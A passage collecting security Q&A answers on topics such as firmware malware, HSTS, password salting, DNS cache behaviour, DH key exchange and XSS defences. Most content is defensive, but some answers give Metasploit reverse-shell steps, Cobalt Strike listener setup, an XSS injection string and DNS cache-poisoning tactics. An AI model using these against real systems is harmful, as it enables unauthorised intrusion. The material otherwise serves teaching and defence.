Is it possible for the firmware of an SSD be infected by malware/malicious rootkits via the internet?

Yes it is possible, as long as the firmware on your device is updatable. That depends on the vendor, but most do have updatable firmware. If the bad actor had enough resources he could reverse engineer the update utility and firmware itself to insert anything they wanted there, as long as it was small enough to fit on the tiny flash memory in the SSD/HDD.

If you're interested in hardware hacks, there has been one that (supposedly) compromised the supply chain of Supermicro motherboards recently: here


Solution to User Initial HTTP Requests Unencrypted Despite HTTPS Redirection?

google.com will redirect the client browser to use HTTPS but the initial HTTP request and GET parameters were already sent unencrypted possibly compromising the privacy of the client.

Correct. Except for HSTS preload.

Could this misuse compromise the subsequent TLS security possibly through a known-plaintext attack (KPA)?

Not exactly. If this event is exploitable, the desired outcome for the attacker is instead to influence the redirection towards something that they control so that they can "impersonate" the TLS endpoint. It would be much more difficult to use this to influence the subsequent TLS connection to the real server (closer to impossible actually).

Are there any less obvious measures that can be done to mitigate this possibly through some DNS protocol solution?

Not really. HSTS preload ensures that a browser will refuse to connect to an HTTP domain in the preload list, so there isn't an initial plaintext request.

Would it be sensible for a future client standard to always initially attempt with HTTPS as the default?

Yes, in my mind this would be a sensible default. There's always implications to guessing though.


Essential things to think about before outsourcing authentication with OpenID, OAuth, or SAML

The right answer will clearly depend on your application.

For example, you've listed:

  Option for "difficult" sign in process to improve security (Verisign), also see this related question

Using a provider like this would be a terrible choice for a site with low login security requirements and a strong desire for low barriers to entry in order to gain user base -- say a stackexchange or twitter. On the other hand it would be a benefit to a site that needs to perform financial transactions.

To some extent it will also depend on the combination of your users' preferences combined with the reputation of the provider. If you force users to use, say, Facebook, in order to sign up then you may lose users who have shunned Facebook. Or google -- they already have enough data about me, why would I want them to know every time I log in to your, say, dating site?

Lastly, I think one "feature" you are missing is the history of actual (versus promised) security. If a given provider has had a series of failures, it's likely they will continue to have failures. This is not to say that a provider with no known vulnerabilities will not have some exposed in the future.


How can I detect and reject potentially unsafe pdf uploads

Validate it's really a pdf (eg it's not an EXE or JS etc). Do this via multiple methods such as file extension but also using magic text.

Antivirus solutions have command line or codeable scan checkers so AV scan the pdf before deciding to permanently store it on your system.

Train the users opening them on how to spot a phishing pdf and how to avoid clicking on security pop ups such as JavaScript execution or loading external resources.

You can use tools like Didier Stevens ones mentioned above to count number of JavaScript sections and if the pdf has any Javascript reject it on the spot and don't save it.

Do all your validation server side as client side such as JavaScript validation can always be bypassed.

Log everything so you know who uploaded a pdf and who viewed it

Have a process in place to quickly remove a Malicious  process from the system if one is found


Can I know somehow if my password hash is known?

If your password is stored properly, it is stored by hashing the password and a salt. Although a cracker who breaches the system on which you have made an account can almost certainly get the salt if he can get the hash, a salt of non-trivial length stops pre-computation attacks and forces the attacker to attack each password separately.  A suitably slow hash algorithm makes attacks on a single password difficult, provided the password is strong enough not to be in a dictionary nor vulnerable to heuristic attacks.

So, for a properly stored password, the hash of the password alone is essentially useless to an attacker.  (Of course, many sites will not store passwords properly, but there is little you can do about that other than avoid password re-use.)

There is more on salting here: https://crackstation.net/hashing-security.htm

Edit: I've performed the following experiment with hashes.org.  I first computed the MD5 hash of "love," a sadly common password.  It was found on hashes.org, as expected.  I then computed the MD5 of "love" concatenated with "315379008," a 32-bit random number.  As expected, it was not found.  A real password system would use a much slower hash than MD5 and a salt much longer than 32 bits, e.g. 128 bits, much further reducing the chances that a pre-computed hash would be found, even for a very common password.  (Of course, "love" is still a terrible password, even if properly salted, because it will fall to the attacker who has access to the salt.  You still need a strong password.)


Is it a security risk to have 'Control + j' functionality enabled in a production instance of PeopleSoft?

I would say a lot depends on if the users are remote, or are on the local machine.  I would disable the feature if you do not need it.

Local user / attacker:

If the users are local, an attacker can find out most (but not all) of this information fairly easily, although this report would certainly make it easier for the attacker.  Even locally, there are a couple pieces of data that would probably be hard to obtain by other methods that could be useful to attackers.

I see component buffer size as being troublesome because it could aid in buffer overflow attacks.
Depending on the implementation of the database, database name or possibly component could aid in a SQL injection attack as well (if PeopleSoft is vulnerable to this, which I do not know).  Most of the other information can aid in an attack, but is generally available at the local machine anyway.

Remote user / attacker:

If the users are remote, this report is far more problematic.  It reveals many details that would be useful to attackers, which would be harder for them to obtain through other means. For example, the OS, browser, service pack, etc... would let the attacker know what they are attacking and if it is out of date (so they know what vulnerabilities there are).

I would highly recommend disabling this feature if you do not need it and there are remote users.


Is it ok to send user's private key away, even if protected with a SSL channel?

(Just to summarise my answer to this duplicate question on SO and its comments...)

It's certainly bad practice, and it can also be a major legal problem.

Because both the user and your service will technically have had access to the private key, you can no longer guarantee who the actual signer was to a third party.

  Do you know any javascript library that signs xml, pdf and office documents? This way, the private key would only be used on client-side.

Don't do JavaScript crypto. You won't be able to prove to the user what your code does (it could still send the key). As far as I'm aware, some of the WebCrypto project was trying to address some of these issues (e.g. by letting some JS code use the private key stored in the browser without letting it out), but it's not quite ready yet, and it doesn't solve all the problems (e.g. proving the the users what they're signing with that private key).

And of course, the technical show-stopper...

Most smartcard mechanisms don't let you get access to the private key itself (often by design), so you'd somehow have to interface with the signature API for the card anyway.
That API will not actually give you the private key, it will only let you use it to sign something, the processing being done on the card itself. So, any plan to send the private key somewhere or have some code (that doesn't use this API) use it wouldn't work.

While certificate on smartcards can be used by the browser for client-certificate authentication, because browsers are implemented to support this as part of their own user interface (nothing to do with any webpage you can provide), I don't think there's anything obvious to have a script on your webpage access any of this. (This would also still leave the problem of trusting what your JS code actually signs.)


Can the ISP see the path of a SOCKS proxy chain

With a regular SOCKS proxy, you're absolutely right. Unless your ISP is only looking at the immediate destination of your packets (which is unlikely), they would immediately see right through it all. That article is only true if the links are encrypted somehow (like Tor does automatically, for example).


Is a 2047-bit prime weaker than a 2048-bit prime?

Strictly speaking, a 2047-bit prime (with regards to discrete logarithm and the Diffie-Hellman problem) is theoretically very slightly weaker than a 2048-bit prime, since resistance to discrete logarithm increases with the prime size. However, both 2047 and 2048 bits are sizes in the range of "cannot break now, cannot break in 15 years either" (unless a new major, qualitative scientific discovery is done, whose existence and consequences cannot be, by nature, predicted). Stating that 2048 bits are stronger than 2047 bits implicitly assumes that 2047 bits can be attacked in some way, which is not the case. In other words, you cannot compare infinites.

A prime generation algorithm which cannot target a given, specific bit length is strange, though.


Like Project Honeypot?

These are spam harvesters, but the idea is the same.  By country


any reason not to run tmux/wemux on a bastion host?

Since both tmux and wemux use their own server-like process and joining/authentication procedures, they inherently increase the so-called "attack surface": that's more code which may have bugs, and bugs can easily become vulnerabilities.

However, at least tmux has good repute, with, as far as this page says, was only ever affected by one known vulnerability, which was relatively minor (not a session hijack, but rights escalation into the utmp group). Wemux is more recent, which may warrant some extra caution.

A more pressing matter is that if users can run tmux on the host, then they can probably run arbitrary commands, which might be a problem if these users are hostile (to each other, or to the system in general), if only through simple DoS (e.g. a fork bomb). With forwarding-only, SSH can be "locked up" in a way which prevents evil users from being as much a nuisance to their peers. So it is not tmux that you should be mindful of, but the extent of the services that you wish to offer to your users -- a full shell account, that's a big offering.


Using msf to connect to netcat listener and shell_to_meterperter

I got it!!!

https://www.youtube.com/watch?v=LRS05gvcvdk

I needed to set my TARGET listener to port 4444.  Then I run multi/handler, then payload windows/shell_bind_tcp

Exploit and I get the shell.
Ctrl-Z to background the session, then run:
post/multi/manage/shell_to_meterpreter
on the session and bam got it running!


Point domain to IP address on Cobalt Strike

Do you mean you have a listener running on your cobalt strike server and want your payload to connect to it via a domain name? In that case you need to modify your DNS record to point to the IP address. Go to your domain name registrar (where you bought the domain) and add an "A" record which ties your subdomain to that IP address. If you Google it your registrar will almost certainly have instructions on how to do it.


Finding new software, checking their security history?

Check if they have a "security" page describing how they want vulnerabilities to be reported to them. If they are open to responsible disclosure there's a good chance they do security the right way, and it would give you some confidence that should a vulnerability be disclosed they'll quickly fix it.

Also take a look to see if they have any open source code published, if so you could have a read through it and possibly see whether the code conforms to good standards or is an bug-prone mess that can have exploits. It isn't guaranteed, but there's a good chance that if their open-source code is awful, so is their proprietary code you would be using.

Finally see what kind of company they are - are they legitimately making great products and earning money from that, or do they sell outdated, non-interoperable and bug-prone crap on purpose so you have to pay them for consulting? I would immediately run away from such a company.

A bit unrelated to security but I'd like to add anyway - a lot of enterprise/accounting/etc software is marketed to appeal to the people in charge of buying it (you) by an overdose of buzz-words instead of the people who will actually use it. Try to get a demo of their software, give it to the people who will actually use it (your accountants, etc) and see what they think about it. I've seen way too many apps that looked great on paper and management was all excited about it, but the user experience was so poor the software wasn't even worth a cent if you actually wanted to be productive with it.


How could a scammer get my card details if I've never used it

Thieves get card numbers and expiration dates from somewhere it is stored or processed.

That could be a local with access to your home, access to the originating bank that issued the card, the post office, or any merchant processor along the line.


Recipient non-repudiation in secure e-mail transport

There are several challenges in transposing the "read receipt" concept to the world of emails. An important point to make is that read receipts are legal weapons aimed at the recipient; they are meant to be used as proofs, during some litigation against the recipient, that he indeed received it and thus can be presumed to have been aware of the message contents. The recipient is then the attacker, the villain in our story. We cannot expect his full collaboration.

There are two distinct scenarios here: the recipient might be interested in the message contents, or he might not be (for instance, he might expect a legally heavy notification and will not want to touch it with a 10 feet pole).

Let's see what happens with classical mail:

The sender (let's call him Stuart) wants to send an important message to the recipient (Robert), and wishes to obtain a receipt that, should the worst happen, will be flourished by Stuart's lawyer during a subsequent trial, as a proof of Robert's duplicity.
Stuart writes the letter and trusts it into the care of the local Postal service.
The letter ultimately comes into the hands of the postman (sorry, the mail-delivery person) who will knock at Robert's door.
If Robert answers, he will have to sign a receipt, under the supervision of the postman. The postman will not give him the letter until he has signed. If Robert is not present, the postman will leave a notice in Robert's mailbox, and Robert will go fetch his letter as the Post office; a similar signature procedure will take place there, with the office clerk.
The receipt is again transferred back to Stuart by the Postal service.

The postman is rather central in the whole procedure. Let's see what he does:

Confidentiality

Until he has signed the receipt, Robert has no knowledge of the message contents. This whole process assumes that the Postal service is trustworthy and ensures total mail confidentiality over the entire transit of the message. This property does not translate well to emails, because emails may travel unencrypted over the wires; PGP encryption with Robert's public key would not help, because in our scenario Robert is the eavesdropper.

Simultaneity

In the classic mail scenario, when the postman faces Robert, the postman is the Master of Ceremony: he ensures that Robert will not get the letter until he has signed the receipt, but he also ensures that Robert will get the letter if he has signed the receipt. When Robert is on the verge of signing, the letter is already on the premises; there is very little risk of losing it. Even if a really freak event occurred (e.g. a stray dog deftly snatches the letter from the hands of the postman and runs away with it), the postman would know it, and cancel the receipt. Also, Robert, by signing the receipt, shows that he is awake, understands what is going on, and is generally in full possession of his legal abilities. All of this occurs under the eyes of the postman, who could testify about the proceedings.

These characteristics allow the judiciary power to assume that if Robert signed the receipt, then he did receive the message. Reading the message is his responsibility; Robert will be considered as having read it (if he wants to claim otherwise, the burden of proof will be on him).

Electronic communications do not allow for such simultaneity. In email delivery protocols, like IMAP, POP or all the Webmail reader engines, there are only two possibilities: either the the recipient first gets the message and then acknowledges reception, or the recipient first sends the acknowledge and then obtains the message (most protocols choose the former). An honest Robert would be wont to send a signed receipt for a message he did not obtain yet and might never obtain (he has no actual guarantee that the server on the other side will not crash at that exact point); a dishonest Robert will arrange for never sending the final acknowledge, so that he could claim that his computer crashed at the wrong moment.

One partial solution is to have a trusted reliable delivery service -- a virtual postman, really. That is a service which will be imbued with all the official blessings that can be bestowed upon an administrative organization by the State; its mission is to deliver messages, but also to keep copies for a long time (say, three months). Honest Robert would agree to send a signed receipt to the Virtual Postman because he trusts that if the VP sent him a notification, then the message exists, the VP will not lose it, and he will be able to obtain it again from the VP even if his computer catches fire and he has to buy a new one. Under these conditions, a signed receipt before delivery can be legally required from Robert. This potentially fixes the technical issues of Robert obtaining the message first. But it requires a trusted VP.

The system you describe with the message key and the nonce is of that kind; the "sender's home e-mail server" plays the role of the trusted VP. But bear in mind that the VP must be trusted by both Stuart (Stuarts need the VP to keep the message from Robert until the receipt is duly signed) and Robert (Robert needs the VP to guarantee the delivery of the message, otherwise he will not sign the advance receipt).

Signature

To have any legal validity, Robert's signature on the receipt must fulfill the characteristics required by the Law. This depends on the country and its legal framework. For classical mails, the signature's power is not really in the squiggly line that Robert draws on the paper; it is known that some good con-artists can forge signatures, and, anyway, simply verifying that the signature is correct requires training. The real force of the signature comes from, again, the postman. The postman is a witness: he saw Robert signing. Refusing to recognize one's own signature is a serious offense, which is often punished with much greater severity than whatever a letter could entail.

In the world of computers, there is no witness. Robert could claim that his computer caught a virus and was under the control of someone else; the legislator cannot realistically enforce a requirement for all citizens to have virus-free computers. If the signature mechanism is of the asymmetric cryptography persuasion, then Robert could claim that the key is not his. This is especially true of decentralized systems like PGP and its Web of Trust: at one point, I counted no less than five distinct PGP keys bearing my own email address and uploaded on key servers, none of which being mine.

For any legal value attached to the receipt signed with an asymmetric algorithm, the corresponding public key must be provably bound to the signer's legal identity. This requires a lot of legislation and a State-operated (or at least State-subsidized) PKI: vital records and citizenship are, by definition, a monopoly of the State. I seriously doubt that a State would use the OpenPGP format for that; this is more a job for a hierarchical PKI, for which OpenPGP has no specific support (hierarchical PKI is about delegation of trust and power; this entails a lot of details which can be seen in the complexity of X.509, which tries to deal with it upfront).

Evasive Maneuvers

Robert may try to "play dead". This is hard to do with classical mail: you have to avoid the postman, hide when he rings at your door. You must not confront him because he is, as we saw, a presumed trustworthy witness. Positively refusing to sign the receipt is incriminating: it shows that you are aware that officially reading the message contents may have consequences. The bottom line is that playing dead with classical mails often equates to forfeiting mail reception altogether; this is not a ultimately tenable situation. All Roberts must yield, and sign the receipts, because the alternative is to figuratively cross the sea and then burn their vessels.

There is no such thing with emails. An email address can be dropped, since new ones are just free. It took me some effort to actually maintain my primary email address since 2001. Also, if I receive a notification telling me that an important message awaits me on some server somewhere (that I did not heard of before), then I can ignore it altogether: what does this server matter to me?

(For a substantial proportion of the population, the classical mail model could be transposed to Facebook: Facebook could be the postman, forcing the recipient to either sign the receipt, or totally abandon Facebook, an unthinkable eventuality for the millions of addicts to that site.)

Summary

This is a hard problem for which no solution exists yet; the technical tools are ready (e.g. asymmetric signature algorithms), but it also needs some infrastructure which will need official support, will be expensive, and won't be of any use until is has become so important that it cannot be ignored. This looks like a problem which will not be solved any time soon.


Can controlling the content of a CSS url property possibly be exploited in any major way?

Possibly.  The response contains an URL inside CSS inside HTML.  All three have different escaping regimes, and if the application's developer did not do escaping for one of these right, you might be able to sneak in an XSS one level beneath it.  For example, what happens if the avatar URI ends in .../innocent.png')"><script src="malicious.js"></script> ?

You should also check for possible known vulnerabilities in the image rendering subsystem of your target browser.  You're probably aware that serious issues have been discovered and fixed in JPEG, PNG, and GIF renderers of various browsers, but it is less known that many browsers also support using more exotic image formats such as SVG and TIFF for backgrounds.  TIFF, in particular, is a highly extensible container format, with a rather broad potential attack surface.


Given properly implemented end-to-end encryption with no backdoors, can whatsapp comply to hand over customer messages?

I think the answer is maybe. They may save the keys at the start, or have functionality to copy the keys from the device, but still sell their messaging service as end to end encrypted. The idea then is that if one of the users reports bad behavior from another user they can step in and decrypt the messages to verify the claim. Also this means whatsapp might get a secret request from some TLA and do it without telling anybody, possibly without access to the users devices since those guys could already have a copy of the encrypted messages.

Also if it is like this then everyone would like to pretend it's not, people would still have to act outraged when something happens in the news that involves the program.


Security of bank account using a 8 digit password

How does that new password policy changes the overall security of my bank account ?

It's gotten worse. The concept of using a virtual keyboard is relatively old, can be bypassed, is still vulnerable to replay attacks and there's enough malware that scrapes mouse movements and matches it to partial screenshots to enable decoding of this. provided your password is static

What would have been a significant step up in security would be the implementation of two factor authentication. Even with the decrease in password strength and virtual keyboard gimmick.

  Should I be worried that now my bank account is only protected by an 8-digit password, whereas standard security rules I know for years do advice for using a wide range of characters, and (way) more of them (typically, 12 characters mixing digits, lower, upper case and special characters) ?

Well, yes, from a technical point of view that is a significant step backwards in security.

  Since my bank is not the only one to switch to that security policy (I know at least 2 other banks doing so, one being out of my country), I start to think a security group listened by banks is the origin of that policy change. Where do I start to look to learn more about this sudden and seemingly global change of policy ?

No clue, and it's even more worrying if in fact they changed because others did.


Wordpress - blocked by firewall for Malicious File Upload

Old versions of Wordpress are known for some vulnerabilities inside them. Since a possible attacker might not know what installation you are running, but instead sees that you have got specific files available he might run some 'blind' attacks. This type of attack is often automated and run against multiple, possibly vulnerable, targets.

Please refer to http://www.cvedetails.com/vulnerability-list/vendor_id-2337/product_id-4096/Wordpress-Wordpress.html for some publicly known vulnerabilities in wordpress.

There is a specific exploit that seems to fit your situation on https://www.exploit-db.com . You might want to check it out here: https://www.exploit-db.com/exploits/3960/

EDIT: Arminius' comment is in fact correct and the here provided exploit might not fit perfectly. I assume that the OP's monitoring software generalizes the attack from "injection" to "file upload".


It is possible that malware websites are evading detection from malware scanners by looking at the source IP address and offering a clean version of the website to the malware scanner. Virus Total being the most popular scanner, the chances are high.
The next easy option is to scan it with Google Safe Browsing like this:
http://www.google.com/safebrowsing/diagnostic?site=http://winspinwin.net/spinner/freespin.php

But if you use Chrome or Firefox, the browser already did that for you.
A different option is to use an antivirus product on your machine while accessing that website.
A more lucrative but safe option is to install a virtual machine with the same OS and browser you use and visit that site while running Process Monitor. This way you can see any suspicious processes, file and registry writes.
I checked using a vulnerable IE 6 and your page looks benign.


Shellshock exploit on Linux Routers/Modems?

Most Linux-based routers are running an OpenWRT/DD-WRT derivative.  These routers use BusyBox as their shell (Bash is much too heavyweight for the hardware), and consequently are not vulnerable.


Look Into the world of honeypots. You can generate fake machines, printers, network traffic ect. The goal is to direct the intruder to the fake network which is usually on a DMZ, different subnet or separate firewall while the IDS kicks into action.

You also download a script based random text generator and then apply whichever encryption method like MD5 to the string and then pipe that to a txt file followed by compressing it. I like the “bullsh*t” text generator the best.


Cache management is a broad subject. Half of the decisions taken by a DNS server, in how it handles its cache, are purely local and thus non-standard.

In the DNS system, servers which are "authoritative" for a zone (say, a domain) publish some cache delays, which apply restrictions to other servers. For instance, for google.com:

$ host -t soa google.com
google.com has SOA record ns1.google.com. dns-admin.google.com. 2013072400 7200 1800 1209600 300

The numbers are, in that order: serial, refresh, retry, expire and minimum. The "serial" is an arbitrary integer increased at each modification, and traditionally encodes the date of the last modification (here, July 24th, 2013). The four other integers are delays, expressed in seconds. They tell that a "secondary" (e.g. the DNS server of an ISP, not the source DNS server for the target domain) should use the following strategy:

Whatever information was cached, should be refreshed after two hours (7200 seconds), in case newer information is obtained.
In case of failure to reach the source DNS, a server should wait for half an hour (1800 seconds) before trying again.
Information which was cached cannot be considered as usable beyond fourteen days (1209600 seconds). A DNS server must not use or keep information which has been obtained more than a fortnight before.
Unless it cannot be avoided, a DNS server must not talk again to the source DNS server within five minutes (300 seconds) of the previous answer.

Section 2.2 of RFC 1912 gives more details. The most important value, for an attacker bent on DNS poisoning, is the "minimum" delay. Here, it means that the attacker will have a hard time making its victim eat fake DNS data about google.com before at least 5 minutes have elapsed. Conversely, the attacker just has to wait for five minutes, or maintain his toxic flow of fake answers for five minutes, in order to have a fair chance at poisoning the server.

There are methods to speed up forgetfulness. The attacker stands a chance of poisoning the server if he can get it to forget what it knows about a given domain. As explained above, a DNS server will already "forget" information beased on delays which are advertised by the source server itself. However, a DNS server keeps its cache in RAM, which is not an infinite resource. This means that the following may be applicable:

The attacker can spam the target DNS with lots of requests for many randomly-chosen domains, so that the DNS has more information to cache than it can realistically keep in its allocated RAM, forcing it to evict previously cached information earlier than what the "minimum" delay would have entailed.
In some cases, the attacker can make the target DNS crash and be restarted automatically (it depends on how well the DNS software and the underlying OS handle against massive DoS attacks). A crashed-and-restarted DNS server begins its life with a clean, empty cache, ready to be poisoned.
DNS servers can also agree on proactive notifications of changes: a secondary DNS can ask a primary to tell it whenever some of its data has changed, so that it may invalidate its caches immediately, instead of waiting for the normal delay-based refreshes. An industrious attacker may want to try to fake this mechanism to force an early refresh.


Is a secure session kept alive between browsers?

I have no access to this infrastructure so I have no way to reproduce your problem. Therefore I can only guess:   If I understand you correctly you need to login into a specific website (www.my.af.mil) to get access to all the other *.af.mil sites. My guess is that this is done by white-listing your specific system (maybe by IP address, maybe by NTLM token) on successful login. This would explain why you can access the sites with Internet Explorer too after successful login with Chrome since you are still connecting from the same system.    It definitely does not share the SSL session between browsers - it does not even share the SSL session between the different *.af.mil sites.

As for the failure to access the login site with Internet Explorer: there is probably some incompatibility of the login site or some middlebox which is in the path to the login site. There are not enough details to find out what exactly this is.

In any case I'm wondering why you ask about the problem here. I would imagine that the proper way would be to report the problem to the system administration responsible for this access instead of trying to work around the issue. Given that you did not include any statements from the system administration I can only guess that you not even tried to let them handle the problem.


What are good methods of visual security?

This kind of attack is called shoulder surfing and it is a real problem. Hardly a day goes by where I do not see someone putting themselves at risk of this either on the train, a cafe or in various other public places. There are a number of countermeasures, most of which are as simple and basic as the attack itself.

Situational awareness

Beware of your surroundings, ensure that there are no cameras that can see your screen and keyboard inputs.
Ensure there are no reflective surfaces such as mirrors, windows or polished walls and tables that may reflect your screen or keyboard inputs.
Be aware of people around you. Can they see your screen? Do they have phones that can see your screen or keyboard inputs? (I’m often on the train with my mobile phone in my hand, I could easily record people on their laptops and play it back later to see what information I could obtain.)

Personal Security

Ensure you are not in a position where there is a high risk that someone may physically remove your device from you.
Beware that people are working in teams. I.e one person distracts you while the other steals from you or captures the contents of your screen with a camera.
Do not wear work badges or any other work branded apparel that reveals the organisation your work for.
Use privacy screens  or a privacy enhanced display.

Inventive Solutions (No guarantee of practicality or feasible current technology.)

You could use a VR headset as S.L. Barth mentioned in the comments. This would increase the risk to personal safety, however as it will obstruct your vision.
You could use Augmented Reality headsets that will allow you to maintain vision, albeit this may be slightly obstructed. There is also a risk that an attacker could see what is being displayed on the AR headset.
You could use a special colour pallet on your screen which obfuscates what is being displayed unless viewed through glasses with a certain tint. (Something like this.)
You could use a blanket or a jacket to cover your screen when you are accessing anything sensitive. (See Edward Snowden.)
Or how about an invisibility cloak?*

*Currently only theoretical


What is the difference between DH and DHE?

Diffie-Hellman is an asymmetric algorithm, with a public key and a private key.

In a "DH_RSA" cipher suite, the server's "permanent" key pair is a DH key pair. The public key is in the server's certificate. That certificate, like any certificate, has been signed by a CA, and that CA uses a RSA key pair (that's what the 'RSA' means in "DH_RSA").

In a "DHE_RSA" cipher suite, the server's permanent key pair has type RSA; the RSA public key is in the server's certificate (the cipher suite says nothing about the type of key used by the issuing CA, but it is usually RSA as well). When a client connects, the server generates a transient DH key pair and sends the public key to the client as a ServerKeyExchange message; the server signs that message with its permanent RSA private key.

Forward secrecy is a property defined relatively to ulterior theft of server secrets. "DHE_RSA" cipher suites provide forward secrecy because the actual key exchange secret (the DH private key) is transient, thus not saved by the server -- if the server does not save that key on its disk, then it should be immune to ulterior theft. Conversely, "DH_RSA" implies that the DH private key is stored somewhere on the server's hard disk, and if that key is stolen, then past recorded session can be decrypted.

One must note that some servers will keep they DH key pairs around for some time, usually in RAM; they don't make a new DH key pair for each client. This behaviour has some performance benefits but slightly weakens the forward secrecy, by definition. This really depends on the model you use to define "ulterior theft": are you talking about retrieving an old hard disk in a dumpster, or a malware that inspect RAM contents?


Can Sagan block active acts once they've been detected?

Googling I came upon this page titled: Snortsam - A Firewall Blocking Agent for Snort which is a plugin for Snort. According to this plugins page it can integrate with Sagan as well:

excerpt

  SnortSam has also been integrated with Sagan, which is a log analysis
  engine developed by Champ Clark. The Snortsam Output Plugin and
  related files (header, Twofish) are available at the Sagan GitHub
  repository.

  SnortSam itself consists of two pieces -- the output plugin within
  Snort™ and an intelligent agent that runs on the firewall, or a host
  near the firewall. The agent provides a variety of capabilities that
  go beyond other automated blocking mechanisms, such as:

  White-list support of IP addresses that will never be blocked.
  Time-override list.
  Maximum block time ceiling as well as minimum block time definition for reporting entities. Flexible, per rule blocking
  specification,    including rule dependent blocking time interval.
  A SID filter list of allowed or denied SIDs based on reporting entity.
  Misuse/Attack detection engine (including roll-back support) that attempts to mitigate the risk of a self-inflicted Denial-Of-Service
  in the IDS-Firewall integration.
  Repetitive (same IP) block prevention with customizable window to improve performance.
  TwoFish encrypted communication between Snort™ and the SnortSam agent.
  True OPSEC support using the Checkpoint SDK (opsec plugin).
  Block tracking and block expiration for firewalls that don't support timeouts.
  Multi-threading for faster processing and simultaneous block on multiple devices.
  File logging and email notification of events. ... and finally, using the client/server (snort/snortsam) architecture to build large,
  distributed response networks in a very scalable fashion.


Why do predefined FFDHE parameters containt '///////////'?

You can use openssl asn1parse -in ffdhe4096.txt to decode the file into two numeric values, called p and g (but those names are not encoded in the file, they are named this way in the Diffie Hellman protocol, see ANSI X9.42 which costs $100 but you can find pirated copies).

Mozilla's value is 4096-bit MODP Group from RFC 3526. The RFC has the formula that produces it, but not an explanation why that formula was chosen.

The ffdhe4096 value from RFC 7919 (which you must use if you use FFDHE with TLS 1.3, which nobody does) also has those "FF" at start and end.

The upper and lower 64 bits (8 bytes, 16 hex chars) are forced to 1, resulting in 16 "F" in the beginning and end of the value of p. This is true for standard DH groups as far as I could find: Appendix E of RFC 2412 "The OAKLEY Key Determination Protocol" from November 1998 defines the so-called Oakley groups, long used for FFDHE, and provides an explanation for this choice:

  The primes for groups 1 and 2 were selected to have certain
     properties.  The high order 64 bits are forced to 1.  This helps the
     classical remainder algorithm, because the trial quotient digit can
     always be taken as the high order word of the dividend, possibly +1.
     The low order 64 bits are forced to 1.  This helps the Montgomery-
     style remainder algorithms, because the multiplier digit can always
     be taken to be the low order word of the dividend.  The middle bits
     are taken from the binary expansion of pi.  This guarantees that they
     are effectively random, while avoiding any suspicion that the primes
     have secretly been selected to be weak.

  Because both primes are based on pi, there is a large section of
     overlap in the hexadecimal representations of the two primes.  The
     primes are chosen to be Sophie Germain primes (i.e., (P-1)/2 is also
     prime), to have the maximum strength against the square-root attack
     on the discrete logarithm problem.

  The starting trial numbers were repeatedly incremented by 2^64 until
     suitable primes were located.

  Because these two primes are congruent to 7 (mod 8), 2 is a quadratic
     residue of each prime.  All powers of 2 will also be quadratic
     residues.  This prevents an opponent from learning the low order bit
     of the Diffie-Hellman exponent (AKA the subgroup confinement
     problem).  Using 2 as a generator is efficient for some modular
     exponentiation algorithms.  [Note that 2 is technically not a
     generator in the number theory sense, because it omits half of the
     possible residues mod P.  From a cryptographic viewpoint, this is a
     virtue.]

Note that openssl dhparam has a -check option, but it is too strict (demanding that if g is 2 then p mod 24 == 11), and though this value doesn't pass this test, it is safe to use. There is an answer about this on Crypto.SE.


To quote cisco.com,

[Unlike IKEv1] the IKEv2 exchange is variable. At best, it can exchange as few as
four packets. At worst, this can increase to as many as 30 packets (if
not more), depending on the complexity of authentication, the number
of Extensible Authentication Protocol (EAP) attributes used, as well
as the number of SAs formed.

So, eight packets is within acceptable range for an IKEv2 negotiation.


What steganographic techniques can I use in images that survive lossy compression?

Yes there are, the techniques are often used more for watermarking but can also be used for steganography.

One such technique is placing messages in frequency space via a 2-D Fourier Transform. Depending upon various details of the way it's done, it can survive degrees of compression, resizing, and cropping.

Here is an example:

Baseline

Stego-1 added to baseline image

FFT of Stego-1

Stego-1a Recompressed Stego-1

Stego-1a_FFT

Stego-1_resized

Stego-1_resized_FFT


openSSL selects ECDH-RSA instead of ECDH-ECDSA

(I assume both the AES18 are typos for AES128.)

Some early releases of OpenSSL 1.0.1 had a bug that caused a few of the new entries in the cipher table including this one to be selected incorrectly. Using patch e (Feb 2013) or later should fix it. (Or 1.0.2, just released a few weeks ago.) If interested you can see the issue by diffing ssl/s3_lib.c between versions.

If you got a connection to the server using an RSA suite, the server does have an RSA cert. Remember it is entirely possible for a server to have key&cert(s) for more than one algorithm and choose the appropriate one for the ciphersuite negotiated with a client; OpenSSL library server in particular can have RSA, DSA, DH and EC (which can be either ECDSA or ECDH). (Plus GOST, an optional Russian algorithm rarely used elsewhere.)

Aside: do you really want ECDH not ECDHE? Only the latter provides forward secrecy.


Are there strong technical reasons for browsers mandating TLS for http2?

There as some definitely technical reasons for having http2 only use tls. As a starting point:

Negotiation speed - without tls the upgrade negotiation is done as an additional http request so there are extra round trips. With tls this is done as part of the tls negotiation, from tls 1.3 this could be a single round trip.
Proxies - when using plain text many internet proxies can get in the way, badly configured proxies are likely to cause problems if they dont understand http2. With tls this is avoid, nothing between the server and client can interfere.

Maybe this is more I've not remembered right now. And this avoid talking about your more general points for wider tls usage.

Using tls everywhere is unlikely to result in more use of self-signed certificates, no self respecting site is going to use one, you are always going to lose customers and anyway services such as lets encrypt make it trivial to use a trusted certificate.
Caching, is already often limited to service controlled caches, the use of more and more tls is unlikely to have a large effect on that. As more and more sites make use of CDNs proxies have become less relevant.


Secure big, old ecommerce website from XSS?

I propose the following four step program, where you first pick the low hanging fruit to give you some minimum of protection while you work on the bigger problems.
1. Activate client side filtering
1.1 Set the X-XSS-Protection header
Setting the following HTTP response header will turn on the browsers built in XSS protection:
X-XSS-Protection: 1; mode=block

This is by no means waterproof, and it only helps against reflected XSS, but it's something. Some old versions of IE (surprise, surprise) have a buggy filter that actually might make things worse, so you might want to filter out some user agents.
1.2 Set a content security policy
If you do not use inline JavaScript in your app, a CSP can help a lot. Setting script-src 'self' will (a) limit script tags to only include scripts from your own domain, and (b) disable inline scripts. So even if an attacker could inject <img onerror="alert('XSS')"> the browser will not execute the script. You will have to tailor the value you use for the header to your own use, but the linked MDN resource should help you with that.
But again, this is not waterproof. It does nothing to help users with a browser that doesn't implement CSP (see here). And if your source is littered with inline scripts you will have to choose between cleaning that up or abstaining from using CSP.
2. Activate server side filtering
John Wu has a good suggestion in comments:

Also, since this is .NET, a very quick and easy change can turn on ASP.NET Request Validation which can catch a variety of XSS attacks (but not 100% of them).

If you are working in another language, you might instead consider using a web application firewall (as suggested by xehpuk). How easy a WAF is to configure for you depends on what application you are protecting. If you are doing things that makes filtering inherently hard (e.g. pass HTML in GET or POST parameters) it might not be worth the effort to configure one.
But again, while a WAF might help, it is still not waterproof.
3. Scan and fix
